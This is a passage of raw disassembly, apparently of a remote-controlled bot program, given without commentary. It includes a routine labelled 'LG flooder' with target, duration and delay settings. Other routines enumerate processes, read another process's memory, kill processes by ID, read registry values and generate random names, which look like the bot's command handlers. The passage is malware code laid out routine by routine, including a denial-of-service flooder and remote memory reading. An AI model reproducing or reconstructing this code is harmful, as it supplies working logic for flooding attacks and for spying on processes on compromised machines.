cmp dword ptr [eax+4], 0 jz short loc_405E22 jmp short loc_405E27 ; --------------------------------------------------------------------------- loc_405E22: ; CODE XREF: sub_4055E5+839j jmp loc_4057A9 ; --------------------------------------------------------------------------- loc_405E27: ; CODE XREF: sub_4055E5+1DDj ; sub_4055E5+83Bj push [ebp+var_1078] call sub_4053B1 pop ecx push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax locret_405E41: ; CODE XREF: sub_4055E5+59j ; sub_4055E5+94j ... leave retn 4 sub_4055E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_405E5D cmp [ebp+arg_8], 0 jz short loc_405E5D cmp [ebp+arg_14], 0 jnz short loc_405E62 loc_405E5D: ; CODE XREF: sub_405E45+Aj ; sub_405E45+10j jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E62: ; CODE XREF: sub_405E45+16j push 2B9h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405E7B jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E7B: ; CODE XREF: sub_405E45+2Fj push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A7h push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 2A7h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2ADh], eax push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B1h], eax push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B5h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 0EA60h jge short loc_405F0E mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_8], eax jmp short loc_405F15 ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_405E45+B9j mov [ebp+var_8], 0EA60h loc_405F15: ; CODE XREF: sub_405E45+C7j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+2B1h], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 64h jle short loc_405F3B mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_C], eax jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405E45+E6j mov [ebp+var_C], 64h loc_405F42: ; CODE XREF: sub_405E45+F4j mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+2B1h], ecx push offset aLgFlooder ; "LG flooder" push 0 push [ebp+var_4] push offset sub_4055E5 call sub_4095A4 add esp, 10h locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj ; sub_405E45+31j leave retn sub_405E45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep ; sub_401D6E+77p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_405F8E push 1A3h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_0] mov byte ptr [eax+198h], 1 jmp short loc_405FA1 ; --------------------------------------------------------------------------- loc_405F8E: ; CODE XREF: sub_405F67+7j push 1A3h push [ebp+arg_4] push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch loc_405FA1: ; CODE XREF: sub_405F67+25j pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FA3 proc near ; CODE XREF: .data:004168C1p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_41E280 call sub_409C36 pop ecx push offset aPsapi_dll ; "psapi.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405FC8 jmp short locret_40603F ; --------------------------------------------------------------------------- loc_405FC8: ; CODE XREF: sub_405FA3+21j push offset aEnumprocesses ; "EnumProcesses" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E27C, eax push offset aEnumprocessmod ; "EnumProcessModules" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E270, eax push offset aGetmodulefilen ; "GetModuleFileNameExA" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E274, eax push offset aGetmoduleinfor ; "GetModuleInformation" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E278, eax cmp dword_41E27C, 0 jz short locret_40603F cmp dword_41E270, 0 jz short locret_40603F cmp dword_41E274, 0 jz short locret_40603F cmp dword_41E278, 0 jz short locret_40603F mov byte_41E29C, 1 locret_40603F: ; CODE XREF: sub_405FA3+23j ; sub_405FA3+78j ... leave retn sub_405FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406041 proc near ; CODE XREF: sub_401244:loc_40129Dp ; sub_40637C+29p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push esi push edi push offset dword_41E280 call sub_409C6C pop ecx movzx eax, byte_41E29C test eax, eax jnz short loc_406074 push offset dword_41E280 call sub_409C7A pop ecx xor eax, eax jmp loc_40636A ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: sub_406041+1Fj and [ebp+var_C], 0 and [ebp+var_4], 0 and [ebp+var_1C], 0 push [ebp+var_1C] call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_406097 jmp loc_406368 ; --------------------------------------------------------------------------- loc_406097: ; CODE XREF: sub_406041+4Fj ; sub_406041:loc_4060E9j mov eax, [ebp+var_1C] add eax, 80h mov [ebp+var_1C], eax push [ebp+var_1C] push [ebp+var_14] call sub_416BF6 ; realloc pop ecx pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4060BD jmp loc_406366 ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_406041+75j lea eax, [ebp+var_4] push eax push [ebp+var_1C] push [ebp+var_14] call dword_41E27C test eax, eax jnz short loc_4060DF push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406364 ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_406041+8Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] jnb short loc_4060E9 jmp short loc_4060EB ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_406041+A4j jmp short loc_406097 ; --------------------------------------------------------------------------- loc_4060EB: ; CODE XREF: sub_406041+A6j mov eax, [ebp+var_4] shr eax, 2 mov [ebp+var_8], eax mov eax, [ebp+var_8] imul eax, 114h add eax, 8 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40611E push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406362 ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_406041+CDj mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov eax, [ebp+var_C] add eax, 8 mov ecx, [ebp+var_C] mov [ecx+4], eax and [ebp+var_10], 0 jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_406041+156j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40613F: ; CODE XREF: sub_406041+F5j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb short loc_406199 push 114h push 0 mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_10] mov esi, [ebp+var_14] mov edx, [esi+edx*4] mov [ecx+eax], edx push offset aSystem ; "system" mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406138 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406041+104j push [ebp+var_14] call sub_416B4C ; free pop ecx and [ebp+var_10], 0 jmp short loc_4061AF ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_406041+1A8j ; sub_406041+1D8j ... mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4061AF: ; CODE XREF: sub_406041+165j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb loc_406343 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 push 410h call dword_417094 ; OpenProcess mov [ebp+var_130], eax cmp [ebp+var_130], 0 jnz short loc_4061EB jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_406041+1A6j and [ebp+var_20], 0 and [ebp+var_28], 0 lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_28] push eax push [ebp+var_130] call dword_41E270 test eax, eax jnz short loc_40621B push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40621B: ; CODE XREF: sub_406041+1CAj push 0Ch lea eax, [ebp+var_13C] push eax push [ebp+var_28] push [ebp+var_130] call dword_41E278 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_13C] mov [ecx+eax+4], edx mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_138] mov [ecx+eax+8], edx mov al, byte_41DE00 mov [ebp+var_12C], al push 40h pop ecx xor eax, eax lea edi, [ebp+var_12B] rep stosd stosw stosb push 104h lea eax, [ebp+var_12C] push eax push [ebp+var_13C] push [ebp+var_130] call dword_41E274 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_406332 movsx eax, [ebp+var_12C] test eax, eax jz short loc_406332 push 104h lea eax, [ebp+var_12C] push eax mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_12C] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_18], eax jmp short loc_4062F7 ; --------------------------------------------------------------------------- loc_4062F0: ; CODE XREF: sub_406041:loc_406330j mov eax, [ebp+var_18] dec eax mov [ebp+var_18], eax loc_4062F7: ; CODE XREF: sub_406041+2ADj cmp [ebp+var_18], 0 jz short loc_406332 cmp [ebp+var_18], 1 ja short loc_406305 jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406305: ; CODE XREF: sub_406041+2C0j mov eax, [ebp+var_18] movsx eax, byte ptr [ebp+eax+var_130+3] cmp eax, 5Ch jnz short loc_406330 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_18] mov [ecx+eax+110h], edx jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_406041+2D2j jmp short loc_4062F0 ; --------------------------------------------------------------------------- loc_406332: ; CODE XREF: sub_406041+264j ; sub_406041+273j ... push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp loc_4061A8 ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_406041+174j push offset dword_41E280 call sub_409C7A pop ecx mov eax, [ebp+var_C] jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406353: ; CODE XREF: sub_406041:loc_406362j ; sub_406041:loc_406364j ... push offset dword_41E280 call sub_409C7A pop ecx xor eax, eax jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406362: ; CODE XREF: sub_406041+D8j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406364: ; CODE XREF: sub_406041+99j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406366: ; CODE XREF: sub_406041+77j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406368: ; CODE XREF: sub_406041+51j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_40636A: ; CODE XREF: sub_406041+2Ej ; sub_406041+310j ... pop edi pop esi leave retn sub_406041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636E proc near ; CODE XREF: sub_401244+4D2p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_40636E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40637C proc near ; DATA XREF: sub_4064BF+3Bo var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_406041 mov [ebp+var_1AC], eax cmp [ebp+var_1AC], 0 jz loc_4064AD mov eax, [ebp+var_1AC] push dword ptr [eax] mov eax, [ebp+var_1A8] push dword ptr [eax] push offset dword_418B1C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h and [ebp+var_1B0], 0 jmp short loc_4063F7 ; --------------------------------------------------------------------------- loc_4063EA: ; CODE XREF: sub_40637C:loc_40649Cj mov eax, [ebp+var_1B0] inc eax mov [ebp+var_1B0], eax loc_4063F7: ; CODE XREF: sub_40637C+6Cj mov eax, [ebp+var_1AC] mov ecx, [ebp+var_1B0] cmp ecx, [eax] jge loc_4064A1 push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+8] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+4] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax] push offset dword_418B04 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h mov eax, [ebp+var_1A8] cmp dword ptr [eax+4], 0 jz short loc_40649C jmp short loc_4064A1 ; --------------------------------------------------------------------------- loc_40649C: ; CODE XREF: sub_40637C+11Cj jmp loc_4063EA ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: sub_40637C+89j ; sub_40637C+11Ej push [ebp+var_1AC] call sub_416B4C ; free pop ecx loc_4064AD: ; CODE XREF: sub_40637C+3Bj push [ebp+var_1A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40637C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4064D9 jmp short locret_406507 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_4064BF+16j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch push offset dword_418B44 push 0 push [ebp+var_4] push offset sub_40637C call sub_4095A4 add esp, 10h locret_406507: ; CODE XREF: sub_4064BF+18j leave retn sub_4064BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_4], 0 jz short loc_40651B cmp [ebp+arg_C], 0 jnz short loc_406520 loc_40651B: ; CODE XREF: sub_406509+Aj jmp locret_406641 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406509+10j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax push [ebp+arg_8] call sub_40A8AD pop ecx mov [ebp+var_C], eax push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 180h jbe short loc_406554 mov [ebp+var_4], 180h loc_406554: ; CODE XREF: sub_406509+42j mov eax, [ebp+var_4] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax push [ebp+var_8] push 0 push 10h call dword_417094 ; OpenProcess mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_406586 push [ebp+var_1C] call sub_416B4C ; free pop ecx jmp locret_406641 ; --------------------------------------------------------------------------- loc_406586: ; CODE XREF: sub_406509+6Dj and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_18] call dword_417098 ; ReadProcessMemory mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40662F cmp [ebp+var_14], 0 jz short loc_40662F mov eax, [ebp+var_1C] add eax, [ebp+var_4] and byte ptr [eax], 0 and [ebp+var_20], 0 jmp short loc_4065C9 ; --------------------------------------------------------------------------- loc_4065C2: ; CODE XREF: sub_406509:loc_406620j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4065C9: ; CODE XREF: sub_406509+B7j mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jnb short loc_406622 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 1Fh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 16h jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 10h jg short loc_406620 loc_406617: ; CODE XREF: sub_406509+D4j ; sub_406509+E2j ... mov eax, [ebp+var_1C] add eax, [ebp+var_20] mov byte ptr [eax], 2Eh loc_406620: ; CODE XREF: sub_406509+10Cj jmp short loc_4065C2 ; --------------------------------------------------------------------------- loc_406622: ; CODE XREF: sub_406509+C6j push [ebp+var_1C] push [ebp+arg_0] call sub_40D53F pop ecx pop ecx loc_40662F: ; CODE XREF: sub_406509+9Ej ; sub_406509+A8j push [ebp+var_1C] call sub_416B4C ; free pop ecx push [ebp+var_18] call dword_4170A4 ; CloseHandle locret_406641: ; CODE XREF: sub_406509:loc_40651Bj ; sub_406509+78j leave retn sub_406509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_406650 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406650: ; CODE XREF: sub_406643+9j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax call dword_4170E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_406669 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406669: ; CODE XREF: sub_406643+22j push [ebp+var_4] push 0 push 1 call dword_417094 ; OpenProcess mov [ebp+var_8], eax push 0 push [ebp+var_8] call dword_4170A0 ; TerminateProcess push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40668D: ; CODE XREF: sub_406643+Bj ; sub_406643+24j leave retn sub_406643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668F proc near ; CODE XREF: sub_403DF3+149p ; sub_40A9CF+BDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4066A0 ; --------------------------------------------------------------------------- loc_406699: ; CODE XREF: sub_40668F+2Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066A0: ; CODE XREF: sub_40668F+8j cmp [ebp+var_4], 8 jge short loc_4066BB push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_406699 ; --------------------------------------------------------------------------- loc_4066BB: ; CODE XREF: sub_40668F+15j mov eax, [ebp+arg_0] and byte ptr [eax+8], 0 and [ebp+var_4], 0 jmp short loc_4066CF ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: sub_40668F+59j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066CF: ; CODE XREF: sub_40668F+37j cmp [ebp+var_4], 6 jge short loc_4066EA push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066C8 ; --------------------------------------------------------------------------- loc_4066EA: ; CODE XREF: sub_40668F+44j mov eax, [ebp+arg_4] and byte ptr [eax+6], 0 and [ebp+var_4], 0 jmp short loc_4066FE ; --------------------------------------------------------------------------- loc_4066F7: ; CODE XREF: sub_40668F+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066FE: ; CODE XREF: sub_40668F+66j cmp [ebp+var_4], 10h jge short loc_406719 push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066F7 ; --------------------------------------------------------------------------- loc_406719: ; CODE XREF: sub_40668F+73j mov eax, [ebp+arg_8] and byte ptr [eax+10h], 0 leave retn sub_40668F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p var_424 = byte ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 424h cmp [ebp+arg_4], 0 jnz short loc_406736 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_406722+Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+4] cmp eax, 5Ch jz short loc_406747 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406747: ; CODE XREF: sub_406722+1Ej push 4 push offset aHkcr ; "HKCR" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_406769 mov [ebp+var_218], 80000000h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_406769: ; CODE XREF: sub_406722+39j push 4 push offset aHkcu ; "HKCU" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40678B mov [ebp+var_218], 80000001h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406722+5Bj push 4 push offset aHklm ; "HKLM" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067AD mov [ebp+var_218], 80000002h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_406722+7Dj push 4 push offset aHkus ; "HKUS" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067CF mov [ebp+var_218], 80000003h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067CF: ; CODE XREF: sub_406722+9Fj jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: sub_406722+45j ; sub_406722+67j ... mov eax, [ebp+arg_4] add eax, 5 mov [ebp+arg_4], eax push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_210], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_406722:loc_406858j mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_4067FB: ; CODE XREF: sub_406722+CAj cmp [ebp+var_210], 0 jnz short loc_406809 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406722+E0j mov eax, [ebp+arg_4] add eax, [ebp+var_210] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406858 mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax call sub_416B40 ; strlen pop ecx cmp eax, 200h jb short loc_40683A jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40683A: ; CODE XREF: sub_406722+111j mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40685A ; --------------------------------------------------------------------------- loc_406858: ; CODE XREF: sub_406722+F6j jmp short loc_4067EE ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_406722+134j cmp [ebp+var_210], 200h jb short loc_40686B jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40686B: ; CODE XREF: sub_406722+142j push [ebp+var_210] push [ebp+arg_4] lea eax, [ebp+var_418] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_210] and [ebp+eax+var_418], 0 lea eax, [ebp+var_C] push eax push 1 push 0 lea eax, [ebp+var_418] push eax push [ebp+var_218] call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_4068B5 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4068B5: ; CODE XREF: sub_406722+18Cj mov [ebp+var_8], 1000h push [ebp+var_8] call sub_416B46 ; malloc pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_214] lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_20C] push eax push [ebp+var_C] call dword_41700C ; RegQueryValueExA test eax, eax jnz loc_406A0C cmp [ebp+var_4], 1 jz short loc_4068FF cmp [ebp+var_4], 2 jnz short loc_406915 loc_4068FF: ; CODE XREF: sub_406722+1D5j push [ebp+var_214] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406915: ; CODE XREF: sub_406722+1DBj cmp [ebp+var_4], 4 jnz short loc_406933 mov eax, [ebp+var_214] push dword ptr [eax] push offset dword_418B5C push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406933: ; CODE XREF: sub_406722+1F7j cmp [ebp+var_4], 3 jnz loc_406A0C push 180h call sub_416B46 ; malloc pop ecx mov [ebp+var_420], eax mov eax, [ebp+var_420] and byte ptr [eax], 0 and [ebp+var_41C], 0 jmp short loc_40696D ; --------------------------------------------------------------------------- loc_406960: ; CODE XREF: sub_406722+2C3j mov eax, [ebp+var_41C] inc eax mov [ebp+var_41C], eax loc_40696D: ; CODE XREF: sub_406722+23Cj mov eax, [ebp+var_41C] cmp eax, [ebp+var_8] jnb short loc_4069EA mov eax, [ebp+var_214] add eax, [ebp+var_41C] movzx eax, byte ptr [eax] push eax push offset dword_418B54 lea eax, [ebp+var_424] push eax call sub_416B5E ; sprintf add esp, 0Ch push [ebp+var_420] call sub_416B40 ; strlen pop ecx add eax, 3 cmp eax, 180h jb short loc_4069D1 push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch mov eax, [ebp+var_420] and byte ptr [eax], 0 loc_4069D1: ; CODE XREF: sub_406722+28Ej lea eax, [ebp+var_424] push eax push [ebp+var_420] call sub_416B70 ; _mbscat pop ecx pop ecx jmp loc_406960 ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_406722+254j push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch push [ebp+var_420] call sub_416B4C ; free pop ecx loc_406A0C: ; CODE XREF: sub_406722+1CBj ; sub_406722+215j push [ebp+var_214] call sub_416B4C ; free pop ecx push [ebp+var_C] call dword_417028 ; RegCloseKey locret_406A21: ; CODE XREF: sub_406722+Fj ; sub_406722+20j ... leave retn sub_406722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp ; sub_40D871:loc_40DB71p var_20C = byte ptr -20Ch var_108 = dword ptr -108h 